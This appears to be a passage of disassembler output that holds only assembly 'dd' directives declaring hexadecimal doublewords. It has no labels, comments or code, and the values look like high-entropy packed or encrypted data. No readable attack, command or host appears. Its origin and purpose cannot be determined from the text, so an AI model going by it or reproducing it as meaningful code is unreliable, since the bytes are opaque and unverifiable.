		dd 400E88Ah, 22F61461h,	0D0E330A3h, 0F80CE6E0h,	0EA09367Bh
		dd 10583468h, 130E700h,	642671AFh, 0F445EE8Dh, 5D00A7ADh
		dd 43693FFFh, 0D3CCABh,	0BBA6D7F9h, 76FE194Ah, 4F00EAFCh
		dd 45164397h, 0F6793AB8h, 90580F82h, 0F9E0C602h, 6E249952h
		dd 292BDF07h, 6660E696h, 0BEF0B2h, 0FF5F0C6Fh, 442D6083h
		dd 2ACC060Ch, 25F073h, 70E5431Ah, 6A24B7DBh, 0D2C9EA60h
		dd 95203D6h, 87F04E48h,	0E7CE2427h, 6B9650F7h, 4C12CB51h
		dd 0F900701Ch, 279F7E42h, 0BC2E014Eh, 0A44D2839h, 39E03A50h
		dd 5C7874h, 997FEDFAh, 91A06F5Eh, 0C5B13F02h, 483AB397h
		dd 0CEE194h, 0C8DC5281h, 0F4D84B45h, 400063E8h,	886BDFFh
		dd 13FA89A7h, 0EA959h, 0C73017F9h, 19847D9h, 803E553Ch
		dd 145C9DD0h, 2E9264h, 0DA5A1121h, 0F809057Bh, 0E09ABA00h
		dd 0AFD9F978h, 0EFFA3D22h, 0E2A77D00h, 3517E172h, 13B7339h
		dd 84C48310h, 0A4D85CDFh, 25D500EDh, 27D2041Ch,	0BF0318EEh
		dd 9C328A0Bh, 0EF960394h, 0C93F97C7h, 80C5D121h, 65296C48h
		dd 0F3005A99h, 0C479033h, 0B0E78722h, 0BAEA3CB6h, 0DD36569Eh
		dd 0D5FCC0F3h, 5307C048h, 92C24B04h, 807D71h, 18A99652h
		dd 1078E570h, 0C103A65Bh, 0BB340B45h, 6BD1B9EBh, 60D0FCh
		dd 801676FCh, 0F7FA1F2Eh, 0A53FCB04h, 4C903797h, 3C84EB35h
		dd 4300C1FCh, 5302DA5Fh, 0BA00F7CEh, 76AE4955h,	986092h
		dd 0EDC89CECh, 46F4D904h, 51076400h, 4DC6143Bh,	8620095h
		dd 0A01B88EFh, 81072F5Ch, 2EDCBE70h, 47043650h,	87FF0B6Dh
		dd 6D04E47Fh, 9306808Ah, 0B00C1CFh, 7334E5E0h, 4BD5DFh
		dd 31B8EC29h, 0A07594E1h, 0AC52A400h, 0BB54D70Fh, 95450063h
		dd 0DAD5EF2h, 0C51870D2h, 44C0A86Ch, 37AB0110h,	41037506h
		dd 0BF0EEC25h, 0BA1EDF77h, 0AF40D22Ah, 396D0B7Bh, 3A481ED9h
		dd 58ACFADh, 55B2AE41h,	2CD8205Bh, 0A1ED3104h, 0BC90DF7Bh
		dd 2659FDF0h, 0A46518h,	8D96A2E7h, 0E0F7BC09h, 8500B47Ch
		dd 1744ACC5h, 0B19165h,	3C587A0Eh, 0CD1DE873h, 600377Fh
		dd 0B5A4BF63h, 13E44732h, 0B03118h, 88EE2188h, 0C0001AD2h
		dd 10DFAA99h, 182B63Fh,	392EC27h, 34076879h, 0E9005728h
		dd 7BB2EB4Eh, 3787045h,	22A00A96h, 11007113h, 0DB87A40Ch
		dd 246ADE29h, 81FC096Bh, 716F9737h, 1F542476h, 4600ACE4h
		dd 0E6188CFFh, 60433Bh,	283503F7h, 405B79F1h, 1CB3A100h
		dd 99126E64h, 31E000C2h, 0E69C0270h, 900F2EBh, 7F45309Ah
		dd 7CE94Eh, 5585772Fh, 2AC30D9Dh, 7C02DE58h, 0E370467Dh
		dd 47CE6D02h, 400EB658h, 502B3A14h, 76EED842h, 1A940080h
		dd 0ECF39235h, 0BB0023DCh, 0AD5BD4A4h, 97F97Dh,	0EA82775Fh
		dd 0F8949092h, 4A7BA607h
		dd 8030CAC4h, 0EEA85247h, 3BFA01C9h, 5CB52156h,	0F72C30CDh
		dd 33B72800h, 0AFDBE0B3h, 0D6A200A8h, 93B95062h, 0A7001B26h
		dd 0B3C7F92Ah, 0A6E92Dh, 0CDE9EB8h, 0C0D9B771h,	21AD9101h
		dd 7A25BCE4h, 75DF52C8h, 0D1A2002Ah, 1EC0E3ECh,	0BD00DB07h
		dd 5BF8351Fh, 0E8A721h,	7702A965h, 7E612D4Ah, 7008EC00h
		dd 0B9BC307Ah, 0A4130003h, 256BC19Eh, 1700A126h, 0F4980427h
		dd 1A97E5Ch, 50C52359h,	0E883AA61h, 0ED0F6970h,	0E7745351h
		dd 6A209028h, 1C8A271h,	69222AFCh, 6005A0C2h, 0B809EF5Ah
		dd 920CD0h, 0E3CC1C24h,	90E900FBh, 0EB7C4F38h, 24241F04h
		dd 2D0064E8h, 15858E68h, 88EE80h, 58D62517h, 6DE67CA0h
		dd 0FFEF6B01h, 35216C93h, 1FD02420h, 0C02F0588h, 0C7049444h
		dd 0B93FEB02h, 834C81E3h, 0F275859Bh, 1D790860h, 405D4EE7h
		dd 8527AF0h, 0AF018060h, 0AD83720Bh, 0B9D46F6Dh, 0BC490041h
		dd 0A1C86CA3h, 982493D2h, 37805CB7h, 0E4A0112Ah, 2220E90h
		dd 25238914h, 0CBF2D8A1h, 53918B1h, 7260A040h, 7467B814h
		dd 0F61D0022h, 8E532732h, 9F00C645h, 4D3911D6h,	774C31AAh
		dd 1B500052h, 0FC2CDA1Ch, 60003ABBh, 3161AC63h,	0C166348Bh
		dd 511B780h, 607182B4h,	1CB89ACh, 6B147A66h, 8BDFF0h, 37D13040h
		dd 0CCAC1070h, 0A35C9001h, 25CAB4D9h, 0C60D3082h, 0D4683079h
		dd 500A9B5h, 64242F2Ch,	8ADD91h, 0DB97C670h, 0E42A5BABh
		dd 45473Eh, 0B32D32EAh,	0E44D3DE2h, 2B560097h, 98625BC8h
		dd 304C7346h, 0B840007Ah, 0AE59C765h, 309EAD7h,	0E4819DEDh
		dd 5D83CE9h, 4A0CA567h,	0D1BB4395h, 26520028h, 1076B574h
		dd 84E50508h, 0C39091A1h, 0C0E48DC2h, 0A013C244h, 8492F70Ch
		dd 3F10EE43h, 243A8AE7h, 42EC3788h, 89010AE6h, 19BC46D6h
		dd 22AEDB26h, 0FBC62AE4h, 98AC0098h, 5F7A2309h,	466E241Eh
		dd 43048018h, 0EE2D62B3h, 0B751C2CFh, 1C80B1D3h, 610C0826h
		dd 36FF4A1Eh, 0AE0C903h, 9201C051h, 0B1D61863h,	6054711Dh
		dd 32921F1h, 0B6C16D08h, 998C111Ch, 219CEFCh, 0DDAACA2h
		dd 9490C1D8h, 0D77AB68Bh, 0AB95F080h, 7229D8ACh, 85FEA199h
		dd 190E382Dh, 732013E2h, 0EB8A2EA7h, 0FF069F1Fh, 0E69021C0h
		dd 742D505h, 80E3C6BFh,	0F143B732h, 0C82BB75Dh,	7E6703CAh
		dd 3E86C148h, 81A20368h, 0FB0D6ECh, 0B94B910Eh,	0BE9820AEh
		dd 45824Dh, 0DC832D22h,	0C78BDE72h, 0B38827E4h,	19FB0E5Fh
		dd 9CA424h, 0D896ED67h,	2C01DEAEh, 0EF5ADFE4h, 0DBD760h
		dd 7742D9E0h, 52E99EA7h, 0D64AD500h, 0C86617B4h, 4D8FA0B1h
		dd 41E00F5Fh, 8980B78Eh, 0CB0D2FBCh, 0E788DB09h, 9F9C2058h
		dd 1DC60159h, 18375B23h, 0DDAF9126h, 3D316424h,	0C73F2700h
		dd 82897Eh, 16B35F25h, 8E32C11Dh, 80C86448h, 0BD63B0DBh
		dd 44DD008Bh, 209142A1h, 7A014101h, 11D2E6DEh, 0A3FC59FBh
		dd 0C47E6Fh, 91BDE980h,	0F235DF25h, 4665441Ch, 895E0870h
		dd 0ACE10F37h, 33A009C6h, 0D2DDE62Eh, 0BC1C770Eh, 0E903E15Ch
		dd 40888E01h, 301D9E51h, 50BF5606h, 19FE0011h, 19F1007h
		dd 0D3336960h, 3E6108ECh, 7008821h, 0BCC127D1h,	58E40F23h
		dd 97760C0h, 6AA8E16h, 2FEA8643h, 0E4031866h, 0B1591844h
		dd 0FEA80045h, 0A9728AEh, 5D388BB8h, 328A3AD5h,	0C0F121D9h
		dd 0FECA1Eh, 0E7230327h, 2741FBBh, 5400A7F2h, 46A25D41h
		dd 299CDDh, 0EF569FBDh,	3E9268B2h, 0F0A8AE00h, 0C1B1FD55h
		dd 0F27587h, 3C2DB88Bh,	0DC37FCBBh, 2C013E71h, 30CBE58Eh
		dd 0B7FFD404h, 2EF151C0h, 0B46E0083h, 8ED77876h, 0D809B719h
		dd 8E0E673Fh, 0F9DA476Eh, 0D456002Bh, 7D294B49h, 86DC487Dh
		dd 0E6351700h, 3469C4DEh, 3D574D01h, 6B408A53h,	4431094h
		dd 0ED68E0AEh, 0BC94A038h, 7FF10010h, 0C160DE39h, 280024EFh
		dd 7EDBA93Ch, 73EB6968h, 0E7BC1B14h, 0CCB229F6h, 908F082Eh
		dd 0F8D38445h, 828584Ah, 41908DB4h, 4AFBA684h, 0CF001474h
		dd 68411822h, 9D10843Dh, 70227CA1h, 0DC60D200h,	2252A21Ah
		dd 8FF0026Ch, 9C8A6569h, 890F64C0h, 0CB5CA00Eh,	0CA7A60F1h
		dd 4394FBh, 1267F619h, 0BA4B041Eh, 0FE0EEF03h, 987DAC0Ch
		dd 0C66A1Bh, 0ABE7AF3Dh, 2AE975CFh, 0E268C200h,	0AD03DE4Fh
		dd 0A5EA79h, 110722Bh, 0F9C89B57h, 0C049C200h, 4D2AE5CBh
		dd 736B00F8h, 0DBB25174h, 9022C5Ch, 1A3104F5h, 0BC6B6105h
		dd 3F5568E0h, 0CCD47760h, 6EB0074Ch, 0CD27EBh, 1B03052Bh
		dd 496FC800h, 0B0FEB1F8h, 8AE0097h, 69F13C51h, 0FD00B6CEh
		dd 0DF209C2Dh, 7EB3B1h,	7F616CAAh, 36CEBB7Dh, 2C749200h
		dd 49025CF9h, 0DC49C4h,	0B550B400h, 0B9F31F35h,	0B3A05600h
		dd 0F01D333Bh, 63A700DCh, 0D7488007h, 0A2006488h, 0C2B1B892h
		dd 783FF71h, 70DDF98Eh,	473B43E7h, 0ABBA5EF0h, 710F6A00h
		dd 60F74829h, 0E2FAC6h,	0FA884955h, 0EDA265DEh,	8970C878h
		dd 0B7E6AA0Ch, 77828E9h, 949566C1h, 9DEF904Bh, 1E05AF1Fh
		dd 23A634D5h, 0A3C9C3h,	7ACED888h, 9902BAE0h, 7F93DC02h
		dd 0E365C09Eh, 9A5298C2h, 198D0007h, 0B6947D17h, 0A200677Ah
		dd 0CE4193F9h, 1F1AE349h, 0DABFDFh, 0BB349E7Dh,	84009AB0h
		dd 7E161456h, 284E3FD5h, 1CC714Bh, 7CE759A0h, 0F4A91BADh
		dd 0EF006542h, 0D0B55517h, 35EA8B0h, 0CA8B46F7h, 0D8D0C250h
		dd 54007F75h, 0E90A70EFh, 4E050B34h, 5CF4F0F9h,	0E8744228h
		dd 9B300300h, 0DEFFB653h, 0CF5A09A8h, 400A72Fh,	5E01D9EDh
		dd 0B53D310Ch, 0F430F9h, 0E3062F80h, 0A68E7929h, 2888C00h
		dd 351633DEh, 0A0A074F6h, 6650F0h, 8A07B94Fh, 4230DE69h
		dd 6B254000h, 48B5FCFAh, 0A8ED50C6h, 10B600AEh,	18957F3Bh
		dd 650F4666h, 60A023FCh, 53673CAh, 3C6A001Eh, 0F66D6B96h
		dd 3350CE66h, 0E1128BD5h, 0B8004E48h, 30417188h, 916000D3h
		dd 1F0ECEBCh, 1600FB89h, 3FE14E08h, 583A57D8h, 0A300802Ch
		dd 0AAFB493h, 9D00AB8Eh, 297055D0h, 0E44DE9D3h,	54A0C84h
		dd 0D5D01D17h, 7044482Dh, 114E268h, 8D5197F8h, 60A58513h
		dd 6B383EC5h, 77600A4h,	0BC701272h, 6E1121Bh, 16EB004Fh
		dd 2717B250h, 12FED648h, 0F8013AD2h, 4893303Eh,	27285FCh
		dd 4252F6F7h, 0F44878F2h, 7E12B5BDh, 54158C5Ch,	0B1BB003Ch
		dd 6EC7249Dh, 0FF5609A2h, 4400A5AEh, 8C4BB4DEh,	0D0643724h
		dd 20983119h, 7AB16FF0h, 66FC008Bh, 0F434BFEEh,	7E1F5F57h
		dd 119270F1h, 0CD05CC5Dh, 0E40008BDh, 0B424AC1Eh, 7CC3121Dh
		dd 3AD4404Bh, 0C56CA2D3h, 0C4C2871Eh, 69A1B400h, 1DEBA4E8h
		dd 9E6AC6h, 7F34F4B0h, 30001E1Dh, 0D492B7B5h, 0BFC2B6h
		dd 57DBAE8Fh, 86BDD704h, 0E90D1500h, 1C3F6372h,	0A1E626h
		dd 0F2EEAD7Dh, 0D0146769h, 77C6F0Bh, 0F7BA8034h, 3A7585h
		dd 0E8BD7350h, 526BBE40h, 3D228348h, 36FD84C5h,	3D80E230h
		dd 907753h, 0A74A5FA6h,	5CAAD226h, 3E073F00h, 216511CAh
		dd 766D00D9h, 29BEF0FAh, 0C11CB4ECh, 80BB5167h,	47F520D2h
		dd 27B6D1h, 3CCC4FE0h, 5255BD15h, 5C160500h, 64DDF25Fh
		dd 0E84A005Bh, 0A1E5519Dh, 95021ED1h, 6CAB082Ch, 8C6D603Ah
		dd 9E170026h, 57E87EF1h, 2C3DD7F4h, 4991815Bh, 1F6A66EBh
		dd 17EE95C0h, 8DEF7Dh, 9A74A0E3h, 0E21E7B58h, 0CBC1AD09h
		dd 0AA191F97h, 79A18C30h, 4D1D03DCh, 4214C8D7h,	0DA4731D8h
		dd 0A490C07Ah
		dd 0B47A5800h, 0AED89E40h, 1A2E42Dh, 65AB8B79h,	0CC0C3742h
		dd 200ED22h, 0F8854B7Eh, 6B2B09h, 776EE5BDh, 0D6B126D7h
		dd 10008F6h, 341FFDBh, 756F2C7h, 89E1A33Bh, 0B72EC0EDh
		dd 1000FA1Bh, 0F60A48FBh, 7879C7h, 737AD0EFh, 0E8C3BDFh
		dd 0C657B60Eh, 227C80BBh, 16166EA3h, 8AF307h, 44EED5E9h
		dd 57006240h, 9071EB2Dh, 0F04FF4E0h, 34CA0BFCh,	2420A1C7h
		dd 0AAE63EAh, 9EA49100h, 675BAFDDh, 26610B37h, 610041FBh
		dd 8D3044DFh, 0BE8BA00h, 7CA5B492h, 892900C3h, 67FFCE2Fh
		dd 707CF09Fh, 0BC41492Ch, 161C1305h, 1A0EB890h,	395901F8h
		dd 9BB2842Dh, 49982008h, 4ECD7900h, 439E76CEh, 858307ECh
		dd 0D0901669h, 6CAD1BB5h, 0FD00E7E0h, 0E1567E08h, 0A01547A3h
		dd 0AA1686h, 0FBBE7498h, 6830EA02h, 0C7E0626h, 673C3A00h
		dd 0CA6348h, 0F70C7A98h, 0E9C9440Eh, 0BEB67400h, 4BE8EF8Ch
		dd 456E899h, 0AA741CAh,	9204C00Bh, 0A8E86ED9h, 0B0CE7202h
		dd 80B43083h, 1655DBE1h, 506D0465h, 0C002FC9Eh,	8922BE14h
		dd 0F6F34403h, 80B4494Ch, 65AC73h, 31903ADCh, 8CE133FCh
		dd 5F563Ch, 0B94342B8h,	0F82D6791h, 0A190077h, 0C7E74437h
		dd 7D0336A0h, 0E2A91381h, 0F51AD00Eh, 6ADE002Fh, 3AA7246Eh
		dd 0D50702D1h, 8C26F612h, 5C13AFC0h, 0B28532ECh, 0DC8040ECh
		dd 0D36971E6h, 9964F600h, 0C642B73Fh, 0D023003Ch, 0AE44380Ah
		dd 8703BD43h, 6534CB32h, 2F2E985Ah, 1F7E00B2h, 4E2C0E36h
		dd 4000877Dh, 0CB376016h, 30ABDEh, 0BE9C46B1h, 9220C714h
		dd 0E52C4100h, 681D9567h, 985B0403h, 805FEB3Fh,	9699F834h
		dd 0BF31E200h, 0BAA14CD8h, 683018Eh, 0D287BBF6h, 0CD94C0D6h
		dd 971E200h, 5E86E4DCh,	0B7190016h, 63DB9D4Eh, 0B028D49h
		dd 3844E694h, 19FF004Ah, 0E2E0814Bh, 689D4100h,	0C988C14Dh
		dd 3FC400D6h, 0A8FCB9C7h, 2F1C6B14h, 0AF4769AEh, 9AA72207h
		dd 851AC0FEh, 7E79177h,	0AE61A05Bh, 9CC5A094h, 6800406Bh
		dd 0BD12BAD0h, 39E478Fh, 0BCACBEF3h, 86D8B9FEh,	0B20010CEh
		dd 0E71A93DBh, 1A661B6h, 0ED479BBDh, 0DB6D9057h, 88DD80A0h
		dd 181C4C00h, 25B18ACCh, 7860058h, 9F216F5Dh, 1EFC0875h
		dd 3D038C90h, 50CD0ED1h, 20E08FC7h, 955671h, 31FA0172h
		dd 0C612678h, 0BD0E9413h, 92436200h, 7B4BF3h, 6C46C219h
		dd 0BC96EA36h, 12D7D158h, 8C01118Dh, 4A0B6856h,	31962009h
		dd 401EBE90h, 1600B6DFh, 3326C2Fh, 0ACE6001Ch, 8CF1E271h
		dd 7CFACE73h, 521FDB76h, 0CA402985h, 8A51054h, 8B009748h
		dd 21AE6DA0h, 3C007AEAh, 2E160F31h, 1205BD8h, 6833CF32h
		dd 8172D3AAh, 24426CE8h, 0B1E96DCDh, 71E882EAh,	0CBCE4154h
		dd 6FEE0h, 7AF88D80h, 7C2D6962h, 6A888603h, 0D022A587h
		dd 775584h, 0DC05DF56h,	0BD4D8FFBh, 1FD2213Ch, 0A75D423Ch
		dd 357B7BFCh, 0A60B0200h, 82F09CABh, 4B4BDFh, 468CDDA8h
		dd 9F00D826h, 2DFE540Eh, 168942D7h, 0F9CA20h, 7738A40Eh
		dd 0C6007407h, 0EF9617A6h, 17D9AB6Ch, 0FF90A8h,	0DFAE58D7h
		dd 3E79B379h, 1700D4B8h, 863A9C4Eh, 8F9067h, 0B9BC2188h
		dd 46C4A60Ch, 7CD5BF12h, 82CFECC1h, 982036C5h, 4F6700A8h
		dd 8FD283EFh, 38003A13h, 8828AF4h, 18F275D4h, 0C171C8BAh
		dd 0C1F8454Eh, 2F649700h, 0B02562D6h, 96102F7h,	8EFC6D1Eh
		dd 2CED8FE0h, 51374009h, 1DA4804Dh, 60AEDE7Eh, 0ACE3487Dh
		dd 0BEF4C020h, 49907907h, 802B08C7h, 0DF3EA092h, 0ADEA0045h
		dd 66F4DA40h, 0DE002A0Ah, 0B324C631h, 36B8A46h,	0BAFCB74Dh
		dd 43E02FB1h, 7FE40773h, 0D89EBB30h, 4CB0186Bh,	0BA005872h
		dd 297C9CAAh, 0B505CD74h, 7776C623h, 2B9294D0h,	470F3h
		dd 2421F691h, 6413890Eh, 0EC013AFEh, 8D88DA6Ah,	0CEC47178h
		dd 0BE960275h, 6C7704FCh, 0C8458CA4h, 5B00C40Ch, 0D3688E7Eh
		dd 616D44F1h, 0B8369103h, 74403CEAh, 94A448FBh,	48BE500h
		dd 2F011E98h, 665601D7h, 0BF9376E1h, 44D6C4A2h,	1312D80Eh
		dd 84652460h, 5FAD4044h, 6486F800h, 0B89C0BA2h,	5E54018Bh
		dd 286DF682h, 8358F0AAh, 0BF8AE60Fh, 5F6BC722h,	0D99C1910h
		dd 0EA370052h, 95090D7Fh, 800023EDh, 7967EC08h,	7A2E4181h
		dd 2BE9C669h, 0FEFAB842h, 0A0A6AE28h, 75870600h, 0B8961E82h
		dd 6D42071Ch, 0D72E5701h, 88839456h, 8211FD3Ch,	5303026Eh
		dd 7EFC88B5h, 0D9A916C0h, 45CFF900h, 9344E7D1h,	58E0A9D3h
		dd 0B48BD4h, 5009A397h,	0FBA265C0h, 6DC87F06h, 1DF86FBFh
		dd 0C0C781AFh, 0E107872Dh, 0DF9830B4h, 637D1F00h, 0AAF16918h
		dd 0DF377082h, 5CF24080h, 0D2BC9C76h, 743C0479h, 0D44E8083h
		dd 1C856EA1h, 0EE35098Ch, 0FCA038A6h, 1D0340E7h, 80B32D3Ah
		dd 0FC41F13Ch, 23ECB8h,	539F04D4h, 56B74B80h, 3DACB64Eh
		dd 407CCF00h, 4FFEB1EFh, 2EC88A13h, 60EDF882h, 3506C58h
		dd 70025297h, 0BC8FBB3h, 79009F75h, 0EAFADD8Eh,	30E7A4BDh
		dd 0E20BFA8h, 69017AEFh, 0CC1B8646h, 183C1A20h,	0CBE2DF00h
		dd 9219C011h, 8CDED8A8h, 30620100h, 0ECC660EBh,	50E9F204h
		dd 56B81Bh, 4ADD099Eh, 1EF4083Ch, 91EBEA02h, 40A380B1h
		dd 37D07F7h, 0CD6E22CEh, 94D88D39h, 1000694Ah, 6CC09EF4h
		dd 8FC1A8h, 47D71B72h, 0CD46A937h, 5F06CC91h, 0BB83C3Bh
		dd 3A6C12DAh, 0DCF73D80h, 5800AA4Bh, 416A6A4h, 7C09AE21h
		dd 0D4F10447h, 0EBEF44BDh, 0E696BF80h, 0DFFC9Dh, 0E0AAC287h
		dd 0E35A70F1h, 7643E0C4h, 22E02489h, 0B47203h, 0D82F93E2h
		dd 5DFADCF4h, 0C979C3Dh, 0F815096Fh, 27B8F6h, 0FC818AB2h
		dd 55C8D484h, 0A650D601h, 0EFA79FEBh, 2915C0h, 0C6633F6Dh
		dd 4D3442Bh, 23FE9E50h,	0A8927A28h, 8304ACEEh, 0B5BBA1B1h
		dd 35F04487h, 0B65C9Ch,	278BB867h, 480EF942h, 0D224CE00h
		dd 383FFE7Bh, 0AC80014h, 39D4EC63h, 70987377h, 66852E00h
		dd 9ECA6B60h, 346A0558h, 960F1Eh, 0D0630689h, 7307D37Ah
		dd 3C979147h, 54044060h, 2C7B0099h, 643A980Ah, 740A9421h
		dd 947512EFh, 80C4C90Bh, 60CB4C57h, 56C00C3h, 158EE9F2h
		dd 940035F6h, 67801D2Ah, 75FEB97Ah, 0C4DE00D4h,	9662FF99h
		dd 0F700F022h, 7D80743Eh, 58862FB3h, 0BA04F430h, 0E04BE781h
		dd 630EC68Ch, 0A2804036h, 0E0D242DEh, 38BBEA93h, 0A50B6FCEh
		dd 8C477A66h, 2F9CE007h, 1B182DD0h, 8BD512EBh, 87840A63h
		dd 29912D0h, 0E13BB024h, 0C2F28760h, 64609E03h,	892A0BCEh
		dd 6AE4729Bh, 1E8A5ACBh, 28BFDE2Ch, 63350F89h, 902F8B3Eh
		dd 0A716C501h, 0DD4EF86Bh, 67007376h, 96665E85h, 0FA2AB43Dh
		dd 1EE691h, 0A414AD70h,	0B02D073Fh, 9E5BED00h, 520A888Dh
		dd 0C1781D1Bh, 0CB24C3A8h, 9DB86CB9h, 2D5CDA08h, 16220CA0h
		dd 0ED0C20FFh, 0A1CBF1D3h, 0E75EDE4h, 0BECFE2F3h, 90A05869h
		dd 8BA5B720h, 0B0002490h, 4DEF23D4h, 2C386817h,	80585BE7h
		dd 33940743h, 58019C73h, 508F71A5h, 2180058Ah, 10C457DAh
		dd 3A033C4Dh, 0C8047196h, 0D129D880h, 2275BAh, 45667468h
		dd 8E42F4E3h, 195CDF01h, 0BF752A9Dh, 7A014DD8h,	0E6C20272h
		dd 0CC61547Fh, 3B00D458h, 0A3BDAD56h, 0BF319CEh, 1A717B68h
		dd 9E256187h, 14B55080h, 0CB004438h, 9DC74B88h,	0E55D8Ch
		dd 0D6F06B7Eh, 3CB36A6Fh, 8EC8580Eh, 0F7A46027h, 7F9EC677h
		dd 0FE0D0049h, 0BD20D362h
		dd 0F100B560h, 31382BCAh, 71AA6BAh, 1095EBD9h, 0E8037946h
		dd 0B7F8FB0Fh, 0D3001EDFh, 24AE9E7Ch, 0A4CCED8h, 850831F6h
		dd 0F4E900A3h, 42AC8E67h, 2C40AA0Fh, 13356EECh,	764DA4C1h
		dd 898B1428h, 1C19D460h, 0D380A601h, 0A43898B2h, 0CAB6CCh
		dd 0ABD95617h, 0B994D62Ah, 800037ECh, 0ED1096DBh, 3C78B08Ch
		dd 0A200C497h, 0C2813E23h, 4A01804Dh, 0EB077D98h, 0FC42479Bh
		dd 2073E8h, 6DD433C2h, 0BA02F1D6h, 506517FEh, 447CC021h
		dd 641000D1h, 0D3C00109h, 1E07D826h, 0DC5E43A6h, 329CD2D0h
		dd 0FEBE00A1h, 8B4FFBEDh, 623A1867h, 0DBAE800Ah, 0AC4E50B7h
		dd 9CD60266h, 6AD8A725h, 2340B442h, 0FEB8D512h,	0D9F6381Fh
		dd 2948C47h, 66805FEEh,	53BDEBA2h, 6DC00031h, 5EDD39FAh
		dd 0B400D052h, 0A4D31B36h, 0DE7AEB10h, 78F2C0D8h, 62F707B8h
		dd 0DA35710Eh, 0CA3C2021h, 6BB51Dh, 22D442E3h, 0A54E5526h
		dd 9DD66F00h, 5BBB5AEEh, 0F2250191h, 6BBE8193h,	12F8F73Dh
		dd 633E9E7Eh, 0B3B400A8h, 0B7F26A97h, 0B0FCE0h,	4990C66Fh
		dd 59B5FFF6h, 0E844F329h, 36EF02E1h, 285352E4h,	7E802B0Ah
		dd 426D1D9Bh, 0BDF041F5h, 7132B1E9h, 0CCB03090h, 21D8E854h
		dd 0E50A4947h, 0D0DF27h, 0BFA395B5h, 0C6001A51h, 0C2F0528Ah
		dd 3FCE0C9Ah, 0A48048E0h, 3D4D5DBCh, 5F2EFBD6h,	440064A1h
		dd 9E6A42D7h, 7E3438F9h, 0E80ECB8h, 9243C739h, 87E59C3h
		dd 0B79F1102h, 7AB92CFEh, 80165EE0h, 86F24C1Ah,	0A2677D01h
		dd 89BB5593h, 2B242D0h,	0CA999534h, 0D480F1EEh,	0DF1EE6E1h
		dd 44140h, 3B852A01h, 46FB1C2Ch, 0DD12A403h, 0CBE11470h
		dd 0F2D3887Fh, 177D99h,	9A46896Fh, 0AAE62A6h, 9F52D400h
		dd 8F82AF06h, 914B08CCh, 5F042EC7h, 9430E4A4h, 549AD5F1h
		dd 0FEF3D600h, 5923810Ah, 48BB009Ch, 1C8D6FCFh,	2500DCCBh
		dd 79722FB4h, 0B1653E81h, 719FF4h, 0F9A04035h, 955D6838h
		dd 9AFA0E68h, 26892Dh, 0C359AFCCh, 4FA89AADh, 8684056Ah
		dd 0A1D8F0F4h, 49CA400h, 1F11DF69h, 6833008Eh, 0FB5D8706h
		dd 8A3DEA3Ch, 20BC034Dh, 80D0EF7Ch, 7581F3Dh, 46762DDCh
		dd 0C807203Bh, 0C10F1EC7h, 0A00AD770h, 626A27E8h, 0A07F1DFFh
		dd 0FA8CC0E7h, 0EF297D66h, 65415600h, 85B071BEh, 0D9A6006Fh
		dd 4EAC81F8h, 8A0EA378h, 214F3D2Fh, 45EC2B63h, 67E1ECh
		dd 0B006F1A8h, 1DFA017Bh, 80135Dh, 0C621A0DBh, 1D1990FFh
		dd 925ED133h, 40BC1CEBh, 44D0D26h, 0C4BEE4D5h, 0D8076426h
		dd 2DE06D48h, 0F54CC6h,	0BA1B2E6Eh, 675F4456h, 0E60B39C0h
		dd 470C0F1h, 0D5E81FFEh, 3B98AC39h, 7222B0h, 0C188C8A8h
		dd 87812805h, 0A61A8B04h, 80456854h, 0FC1C0362h, 0FEC91759h
		dd 0D069D141h, 0C850E81Eh, 0D3E3A610h, 59F23950h, 748BAF3Bh
		dd 0B153AC00h, 7C5B7450h, 0C27FFEh, 0F29B18B9h,	0E08A6D76h
		dd 19A07800h, 7746DF6Bh, 590B1980h, 98B45197h, 26692240h
		dd 490733Bh, 0B71779B8h, 8498A4F9h, 0B2282A07h,	0E2C5EF8Bh
		dd 0CEC20C03h, 3987806h, 6F7711B9h, 0C0A476DFh,	0C2C307CCh
		dd 0E6B710A0h, 1DC01CA0h, 0D7AB8CA0h, 1929C101h, 0C7C115Ah
		dd 0ADEAD0C7h, 0C4C300CEh, 0E2051E1Dh, 1907F61Bh, 0F36BAA45h
		dd 3880BD0Eh, 3480AB7Fh, 224400E9h, 5DCAEC3Bh, 943A1A8Dh
		dd 0CE208E46h, 8B5FC025h, 0F00A59h, 8096553Ch, 73F4833Dh
		dd 0FD56B50Eh, 6364C05Ch, 0F11C8Ch, 1FA645DEh, 2EE6D7Bh
		dd 26947A39h, 0CC005E52h, 9BECA554h, 0E1400044h, 0AC684D97h
		dd 890015F0h, 63988E9Dh, 3418A6h, 16F88A0Dh, 0DC70CA93h
		dd 0DB7C3F12h, 3A8820B4h, 68098EBAh, 0B8720539h, 130FBB11h
		dd 0AB21DF04h, 0B14640DDh, 0CE5A0Dh, 12B773EBh,	3A21A828h
		dd 380040E4h, 0D815C162h, 3C2CE1h, 99243507h, 699D1771h
		dd 0D9886401h, 11288E3Bh, 0C8C0EC47h, 521054B1h, 0A2CF1426h
		dd 8121CEE1h, 29C4E81Ch, 0E4F28087h, 90ACCE2Bh,	26574500h
		dd 0ED279459h, 0D7A300FFh, 0FE489E15h, 17FB438h, 0D8C6AE46h
		dd 20147011h, 0E37444C1h, 0C0900005h, 6824A5E8h, 8A007759h
		dd 0B482D81Bh, 116B50C2h, 0A7ECF946h, 3C53D600h, 4693A30Ah
		dd 0FE012070h, 0DE4BE478h, 58444EA1h, 0F16905ECh, 0E0407F05h
		dd 0CD801BE4h, 4CF024D7h, 8F1100E2h, 150545Fh, 68011D4Ah
		dd 5149109Ch, 1FF90CDCh, 0C0174D15h, 948A50Fh, 0B50084E5h
		dd 0ABA6E261h, 121EAFC0h, 0F485269Ch, 0B7068640h, 6088F783h
		dd 882EC10h, 7107AE0Eh,	0C0BDF160h, 88773FD6h, 4127607Ch
		dd 71F3236Dh, 6E1CB879h, 5500D2BDh, 0F92EA229h,	8FD600F7h
		dd 0CB70E4C3h, 0B40016CFh, 3C804733h, 0E8A403h,	0D4DDEF2Fh
		dd 34C3BC3Dh, 896E3000h, 0D7836487h, 0F4050065h, 0A6E79A7Dh
		dd 0E100B1A5h, 492658BFh, 29FC36h, 4342BB57h, 7FFDF9DFh
		dd 0A1993761h, 0A4515AA2h, 7C2410AAh, 711700B7h, 676057E1h
		dd 3F2A2E6Ch, 42008459h, 0DF8E588Ah, 7C3E5Dh, 664F8802h
		dd 1815C84Ch, 0F9D07402h, 8016AC2Ah, 81E7CED4h,	350E2ED1h
		dd 4BDB00C3h, 0F01786F7h, 0F6968200h, 0D660736Ch, 0F8D97EE8h
		dd 0AB870370h, 0FC59F7A5h, 0F55C19D8h, 8807E718h, 20D6E918h
